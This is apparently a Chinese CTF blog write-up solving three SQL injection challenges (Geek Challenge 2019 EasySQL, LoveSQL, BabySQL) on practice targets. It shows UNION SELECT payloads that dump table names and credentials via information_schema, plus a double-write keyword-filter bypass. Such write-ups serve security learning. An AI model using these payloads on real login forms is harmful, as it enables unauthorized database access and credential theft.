【极客大挑战 2019】Easy,Love,Baby-SQL

连环题!!嘿嘿嘿

[极客大挑战 2019]EasySQL

打开靶机
【极客大挑战 2019】Easy,Love,Baby-SQL_第1张图片
随便输输,得了?
【极客大挑战 2019】Easy,Love,Baby-SQL_第2张图片

【极客大挑战 2019】Easy,Love,Baby-SQL_第3张图片

[极客大挑战 2019]LoveSQL

进阶题来了嘿嘿嘿(用 sqlmap 是没有灵魂的哈哈哈)
【极客大挑战 2019】Easy,Love,Baby-SQL_第4张图片
按照套路,随便注注
试试万能密码,有回显
【极客大挑战 2019】Easy,Love,Baby-SQL_第5张图片
【极客大挑战 2019】Easy,Love,Baby-SQL_第6张图片
接下来用order by 1-99来判断一下字段数
试到4的时候出现报错
【极客大挑战 2019】Easy,Love,Baby-SQL_第7张图片
那么字段数就是3了,输入查询语句:

1' union select 1,2,3#

【极客大挑战 2019】Easy,Love,Baby-SQL_第8张图片
得到2,3两个回显点位
爆库:

1' union select 1,2,database()#

【极客大挑战 2019】Easy,Love,Baby-SQL_第9张图片
得到库名为: geek
爆表:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

【极客大挑战 2019】Easy,Love,Baby-SQL_第10张图片
得到两个表,第二个有flag的概率更大,那就看看第二个表吧,看看第二个表有什么字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

【极客大挑战 2019】Easy,Love,Baby-SQL_第11张图片
那么接下来就是看具体内容啦

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

在这里插入图片描述
一大串字符,一直往右到底就可以看到flag的字样啦

[极客大挑战 2019]BabySQL

【极客大挑战 2019】Easy,Love,Baby-SQL_第12张图片
题目提示了过滤了关键字,但是我们也先测试一下,先试试万能密码
【极客大挑战 2019】Easy,Love,Baby-SQL_第13张图片
果然还是报错了。再试试:
【极客大挑战 2019】Easy,Love,Baby-SQL_第14张图片在这里插入图片描述
可以看到or确实是被过滤掉了,但是我们可以试试双写绕过注入:
【极客大挑战 2019】Easy,Love,Baby-SQL_第15张图片【极客大挑战 2019】Easy,Love,Baby-SQL_第16张图片
可以看到成功报错,字段数就是3,显而易见绕过方法就是双写绕过注入了(像select,union,from这种常用的关键字应该是过滤掉了的),那接下来就好办啦
爆库:

1' uunionnion sselectelect 1,2,database() 

【极客大挑战 2019】Easy,Love,Baby-SQL_第17张图片
得到库名:geek
爆表:

1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#

【极客大挑战 2019】Easy,Love,Baby-SQL_第18张图片
看表肯定是第一个表有flag啦,因为之前的题的列都是差不多id,username,password,那就直接爆具体数据了
输入:

1' uunionnion sselectelect 1,2,group_concat(id,username,password) ffromrom b4bsql#

【极客大挑战 2019】Easy,Love,Baby-SQL_第19张图片
最右

参考文章:https://www.cnblogs.com/junlebao/p/13803909.html

你可能感兴趣的:(CTF,sql,数据库,web安全,mysql,学习)